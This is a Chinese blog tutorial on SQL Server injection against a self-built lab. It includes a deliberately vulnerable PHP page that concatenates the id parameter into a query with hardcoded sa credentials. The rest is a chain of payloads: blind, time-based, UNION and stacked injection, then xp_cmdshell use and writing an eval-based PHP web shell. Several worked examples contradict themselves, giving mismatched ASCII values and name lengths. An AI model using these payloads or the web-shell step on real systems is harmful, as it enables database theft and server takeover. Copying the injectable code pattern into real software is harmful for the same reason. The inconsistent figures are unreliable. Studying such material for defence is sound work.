SQLServer数据库注入测试

目录

Part one:How phpstudy connects to SQL Server 2008

Part two:How to inject SQL Server database

1. 胡扯一通

2.sql注入

2.1 盲注

2.2 延时注入

2.3 UNION联合查询

2.4 堆叠注入

​3. SQL server获取权限


Part one:How phpstudy connects to SQL Server 2008

总结一下:使用PHPstudy集成环境中的php5.4.45连接SQL server 2008相关坑点。

在百度上能搜索到的大部份方法都是有效的,但是如果你是一个运气不太好的新手的话估计就要耗费你太多的精力。

首先需要明白的是Windows下的安装的PHPstudy集成环境是不能直接使用PHP连接数据库SQL Server 2008。这本身就是一个很恼火的事情,随着时代的进步,科技的发展,现在的人儿啊尽是喜欢搞一些花里胡哨的东西。

1.下载Microsoft SQL Server PHP 驱动程序

下载地址:https://docs.microsoft.com/zh-cn/sql/connect/php/step-1-configure-development-environment-for-php-development?view=sql-server-ver15

在Windows上借助Microsoft SQL Server PHP驱动程序,PHP开发人员才可以访问SQL server数据库。详细内容可以访问上面的链接,本人认为还是很详细。

Windows2003上安装时,页面一直会崩溃,有可能是上次复现漏洞没有还原的缘故,本次是在Windows Server 2008 R2上复现该环境。

在搭建环境时需要仔细的核查使用的操作系统版本、PHP版本、SQL server版本,在Microsoft官网提供的文档里查看具体的内容。

2.安装ODBC驱动

Microsoft开放式数据库连接(ODBC)接口是一种 C 语言接口,它使应用程序能够访问各种数据库管理系统(DBMS)中的数据。ODBC是一个专为关系数据存储设计的低级别、高性能的接口。在cmd命令行输入"odbcad32"即可查看是否安装。个人理解就是微软为了方便其他编程语言使用SQL server而开发的一个数据库管理中间件。

3.php.ini文件编辑

php.iniPHP的配置文件,在第一步里会获取需要的PHP扩展文件(.dll格式的文件),将对应版本的文件移动到"C:\php\php-5.4.45-nts\ext\"目录下,在更改PHP配置文件时,需要注意的是:

a.拼写正确

b.尽量不更改

c.重启apache

补充:基本原则就是缺啥补啥,错啥找啥,用好搜索引擎。还有一个报错当时在Microsoft网站看到过,但是历史链接找不着了。本文主要讲解SQL注入

4.测试源码

<?php  
$serverName = "localhost"; //数据库服务器地址
$uid = "sa";     //数据库用户名
$pwd = "123456"; //数据库密码
$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"SQLServer_sql");
$conn = @sqlsrv_connect($serverName, $connectionInfo);
$id = $_GET['id'];
if($conn == false)
{
    echo "error!!!!!";
    var_dump(sqlsrv_errors());
    exit;
}else{
    $sql = "SELECT * FROM MSSQL_tables1 WHERE id=".$id;
    # $query = sqlsrv_query($conn, $sql);
    $sql_permit_info = sqlsrv_query($conn, $sql);  
    if ($sql_permit_info === false) {
        die( print_r( sqlsrv_errors(), true));
    } 
    while ($dbinfo= sqlsrv_fetch_array($sql_permit_info, SQLSRV_FETCH_ASSOC)) {
	    print_r($dbinfo);
	    foreach ($dbinfo as $key => $value) {
	    	if ($key == 'username'){
	    		$value1 = $value;
	    	}elseif ($key == 'password') {
	    		$value2 = $value;
	    	}
	    	}       
        }
   }
?>
<!DOCTYPE html>
<html lang="zh_cn">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>SQL Server注入</title>
</head>
<body>
<hr>
<table border="1">
	<h1><?php echo '查询参数为'.$id; ?></h1>
	<tr>
		<td>用户名</td>
		<td>密码</td>
	</tr>
	
    <tr>
    	<td><?php echo $value1;?></td>
    	<td><?php echo $value2;?></td>
    </tr>
</table>
<hr>
</body>
</html>

Part two:How to inject SQL Server database

最终大概是这样色的

1. 胡扯一通

SQL注入的原理是因为开发人员在后台使用SQL语句的地方拼接了用户输入,而且为严格的判断用户输入数据的合法性。在大多数人学习注入的时候环境应该都是MySQL数据库,在实际的环境里需要面对其他数据库,需要掌握一些关于各类数据库的基础知识。

2.sql注入

2.1 盲注

盲注的原理就是通过改边参数的内容利用页面是否正常回显来判断所能获取到的信息。

2.1.1 判断是否是SQL Server数据库

SQL server数据库内特有的表:sysobjects,所以通过判断对该表的查询来判断是否是SQL server数据库。

2.1.2 判断当前数据库的权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        --返回正常为sa
and 1=(IS_MEMBER('db_owner'))               --返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))          --public权限,较低

当用户是sa,则执行三个都会正常显示。如果是db_owner,则执行sa不正常显示,执行public正常显示。如果是public,只执行public才正常显示  

2.1.3 判断xp_cmdshell是否存在

http://192.168.204.132:81/test.php?id=1 and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

# 正常显示说明开启了,如果不存在则需要开启

# 利用xp_cmdshell执行系统命令,需要该注入点存在堆叠注入

2.1.4 判断数据库个数

使用语句:and (select count(name) from master..sysdatabases)=7

正确时截图:

错误时截图:

由此就可以知道数据库的个数。

2.1.5 判断dbid

使用语句: and (select count(*) from master..sysdatabases where dbid=N)=1

dbid和数据库之间的关系

看大佬的文章说通过dbid字段判断判断数据库的个数,在SQL server2008里改语法最终的结果只能等于1表示存在,当等于0的时候表示dbid参数不存在。

2.1.6 利用dbid参数获取数据库名

# 判断dbid数据库的长度,由以下得知dbid为7数据库名的长度是多少?
http://192.168.204.132:81/test.php?id=1 and len(db_name(7))>8         //正常显示
http://192.168.204.132:81/test.php?id=1 and len(db_name(7))>100       //不正常显示
http://192.168.204.132:81/test.php?id=1 and len(db_name(7))=13        // 正常显示
 
# 大于8正常显示,大于100不正常显示,等于13时正常,即数据库名长度为13
# 查的前6个数据库就是自带的那6个数据库,第7个开始才是我们自己建的

# 判断dbid为7数据库字符的ascii值
http://192.168.204.132:81/test.php?id=1 and ascii(substring(db_name(7),1,1))>82   //正常显示
http://192.168.204.132:81/test.php?id=1 and ascii(substring(db_name(7),1,1))>84   //不正常显示
http://192.168.204.132:81/test.php?id=1 and ascii(substring(db_name(7),1,1))=83   //正常显示
 
# 大于71正常显示,大于78不正常显示,等于77时正常,所以第七个数据库的第一个字符的ascii值为77,对应的字符是M
 
# 以此类推可以利用类似爆破的手段获取数据库名
# 最后得到第7个数据库名为:SQLServer_sql

2.1.7 获取当前数据库名

# 判断数据库的长度,由以下得知数据库的长度是8
id=1 and len(db_name())>12         //正常显示
id=1 and len(db_name())>14         //不正常显示
id=1 and len(db_name())=13         //正常显示
# 大于12正常显示,大于14不正常显示,等于13时正常所以判断当前数据库名为13个字符串组成
 
# 通过上面的思路,在SQL注入中会使用一种常用的手段(二分法)来判断数据库字符的ascii值
# 利用取中位数的方法来判断ASCII值存在的区间
and ascii(substring(db_name(),1,1))>100   //不正常显示
and ascii(substring(db_name(),1,1))>50    //正常显示
and ascii(substring(db_name(),1,1))>75    //正常显示
and ascii(substring(db_name(),1,1))>87    //不正常显示
and ascii(substring(db_name(),1,1))>81    //正常显示
and ascii(substring(db_name(),1,1))>84    //不正常显示
and ascii(substring(db_name(),1,1))=83    //正常显示

获取到数据库名为:SQLServer_sql

2.1.8 爆破数据库 SQLServer_sql中表的个数

爆破表时不能爆破表名的长度,只能一个一个去尝试爆破表名的字符。当爆破的某个字符在其ascii值大于0时依旧不能正常显示的时候,则说明这个字符不存在,数据库名是由此位字符的前几个字符串组合而成。在获取的表名里会包含SQL server数据库表的前缀(),在这里已知了数据库名:SQLServer_sql。

执行语句如下

select * from SQLServer_sql..sysobjects

通过上面的信息可以构造语句判断数据库中的表的个数

http://192.168.163.130:81/test.php?id=1 and (select count(name) from SQLServer_sql..sysobjects where xtype='U')=2  //因为数据库中的表只有一个当判断不成立时

http://192.168.163.130:81/test.php?id=1 and (select count(name) from SQLServer_sql..sysobjects where xtype='U')=1  //因为数据库中的表只有一个当判断成立时

由此可以判断数据库中的表的个数,至于构造的语句可以自行百度具体的信息。

2.1.9 爆破SQLServer_sql数据库中的表

爆破数据库表名的时候无法先获取数据库表名的长度,只能一个字符一个字符的去猜解,当爆破到最后一个字符根据ASCII值是否存在来判断该字符是否存在,也就是说明上一个字符也就是表名的最后一个字符。爆破获取到的表名格式为dbo.MSSQL_tables1。接下来的数据库语句过长可能会引起不适。

SELECT TOP 1 ISNULL(CAST(SQLServer_sql..sysusers.name+CHAR(46)+SQLServer_sql..sysobjects.name AS NVARCHAR(4000)),CHAR(32)) FROM SQLServer_sql..sysobjects 

INNER JOIN SQLServer_sql..sysusers ON SQLServer_sql..sysobjects.uid = SQLServer_sql..sysusers.uid WHERE SQLServer_sql..sysobjects.xtype IN (CHAR(117),CHAR(118)) 

AND SQLServer_sql..sysusers.name+CHAR(46)+SQLServer_sql..sysobjects.name NOT IN (SELECT TOP 0 SQLServer_sql..sysusers.name+CHAR(46)+SQLServer_sql..sysobjects.name FROM SQLServer_sql..sysobjects 

INNER JOIN SQLServer_sql..sysusers ON SQLServer_sql..sysobjects.uid = SQLServer_sql..sysusers.uid WHERE SQLServer_sql..sysobjects.xtype IN (CHAR(117),CHAR(118)) ORDER BY SQLServer_sql..sysusers.name+CHAR(46)+SQLServer_sql..sysobjects.name) 

ORDER BY SQLServer_sql..sysusers.name+CHAR(46)+SQLServer_sql..sysobjects.name

执行此语句的结果

在手工开始爆破数据库表名之前先简单介绍两个相关的函数,SUBSTRING()UNICODE()函数,这两个函数分别是操作截取字符串和字符编码解码功能。

因为数据库表名格式为dbo.MSSQL_tables1,第一个字符为d,对比ASCII码值,根据这个值返回的结果来判断。要爆破整个表名只需要修改函数SUBSTRING()的参数即可。

2.1.10 爆破数据库中的表字段数

由上一小节可知数据库(SQLServer_sql)中的表名为:MSSQL_tables1,尝试爆破该表中的字段。执行数据库语句查询对应数据库表字段信息

select * from SQLServer_sql..syscolumns where id=(select id from SQLServer_sql..sysobjects where name='mssql_tables1')

爆破字段名

http://192.168.163.130:81/test.php?id=2 and (select count(name) from SQLServer_sql..syscolumns where id=(select id from SQLServer_sql..sysobjects where name='mssql_tables1'))=3

由此可知数据库(SQLServer_sql)中的表名为(MSSQL_tables1)的表共有3个字段

2.1.11 爆破数据库(SQLServer_sql)中的表(MSSQL_tables1)的字段名

爆破test数据库中MSSQL_tables1表的第一个字段名的长度
http://192.168.163.130:81/test.php?id=2 and len((select top 1 col_name(object_id('MSSQL_tables1'),1) from SQLServer_sql..sysobjects))>1  --正常显示
http://192.168.163.130:81/test.php?id=2 and len((select top 1 col_name(object_id('MSSQL_tables1'),1) from SQLServer_sql..sysobjects))>2  --不正常显示
所以users表的第一个字段名长度为2
 
爆破test数据库中user表的第一个字段的第一个字符的ascii值,采用二分法

http://192.168.163.130:81/test.php?id=2 and ascii(substring((select top 1 col_name(object_id('MSSQL_tables1'),1) from SQLServer_sql..sysobjects),1,1))>N
爆破test数据库中user表的第一个字段的第二个字符的ascii值:

http://192.168.163.130:81/test.php?id=2 and ascii(substring((select top 1 col_name(object_id('MSSQL_tables1'),1) from SQLServer_sql..sysobjects),2,1))>N
最后得到第一个字段为:id
 
爆破test数据库中user表的第二个字段名的长度

http://192.168.163.130:81/test.php?id=2 and len((select top 1 col_name(object_id('MSSQL_tables1'),2) from SQLServer_sql..sysobjects))>N

2.1.12 爆破数据库表中的数据条数

http://192.168.163.130:81/test.php?id=2 and (select count(*) from SQLServer_sql..MSSQL_tables1)=3  --根据改变=后面的参数来判断

2.1.13 爆破数据库中的数据

在跑数据库数据的时候,利用的盲注方式只能一个字符一个字符的获取,详情参考[2.1.9]小节的标注。

--爆破SQLServer_sql数据库中表MSSQL_tables1中password列中第一行字符串中的第一个字符
http://192.168.163.130:81/test.php?id=2 and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from SQLServer_sql.dbo.MSSQL_tables1)x where limit=1),1,1))=49
--爆破SQLServer_sql数据库中表MSSQL_tables1中password列中第一行字符串中的第二个字符
http://192.168.163.130:81/test.php?id=2 and unicode(substring((select isnull(cast(password as nvarchar(4000)),char(32)) from(select password, row_number() over (order by (select 1)) as limit from SQLServer_sql.dbo.MSSQL_tables1)x where limit=1),2,1))>N
--因为我的测试数据库中password设置的是6个1,每个都是相同的,要想爆破其他数据只需要更改函数substring()中的参数即可

2.2 延时注入

SQL Server数据库的延时命令:WAITFOR  DELAY  '0:0:2',使用延时注入建议使用sqlmap自动化注入工具。

--判断是否是SA权限
if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:10'
-- 判断是否是站库分离(延时后返回正确页面,确定站库没有分离)
if(host_name()=@@servername) WAITFOR DELAY '0:0:2'
 
--判断数据库的个数
IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))=55) WAITFOR DELAY '0:0:2' 
 
--判断是否开启xp_cmdshell
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--

2.3 UNION联合查询

联合查询适用与有显示列的注入,先通过order by来判断当前表的列数,然后通过联合查询可以回显当前列。在SQL server数据库中只要是小于数据库表实际列都会回显正常,当不存在列数时会回显异常,具体操作截图如下:

--正常回显
http://192.168.163.130:81/test.php?id=2 order by 3--+
--报错
http://192.168.163.130:81/test.php?id=2 order by 4--+

--通过union select 1,2,3判断回显的位置

查询数据库版本

查询主机名

查询数据库名

2.4 堆叠注入

堆叠注入就是通过分号隔离两个SQL语句,在这里就执行了多个SQL语句称之为堆叠,在对SQL server数据库进行堆叠注入的时候需要了解执行的命令是没有回显的,需要结合时间盲注来判断语句是否被成功执行了,一般利用该方式获取权限。

3. SQL server获取权限

利用前提:

1.目标支持堆叠注入

2.需要sa权限

3.无法利用--os-shell获取权限

思路:通过网站的一个文件遍历目标的磁盘,找到该文件,将路径填入自建的表中,然后在读取该表得到网站路径。请注意该方法适用于没有正常回显的情况。本实验就使用test.php文件。

创建表test,并添加一个tmp的字段

http://192.168.163.130:81/test.php?id=1;create table hack (tmp varchar(1000));--+

验证是否创建成功

利用test.php文件获取网站路径,并且将结果写入刚刚创建的hack表中,执行结果截图如下:

--查找目标机器C盘下的test.php的路径,并将结果写入刚刚创建的hack表的tmp字段,选择任意一个即可
http://192.168.163.130:81/test.php?id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.php';
http://192.168.163.130:81/test.php?id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.php) do @echo %i';

执行结果截图如下:

到这一步结束就算是获取到网站的绝对路径了。尝试写入一句话木马,并命名为shell.php,具体结果和截图如下

http://192.168.163.130:81/test.php?id=1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--

对结果进行测试 

使用菜刀进行连接

本文参考:

https://www.anquanke.com/post/id/200154

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值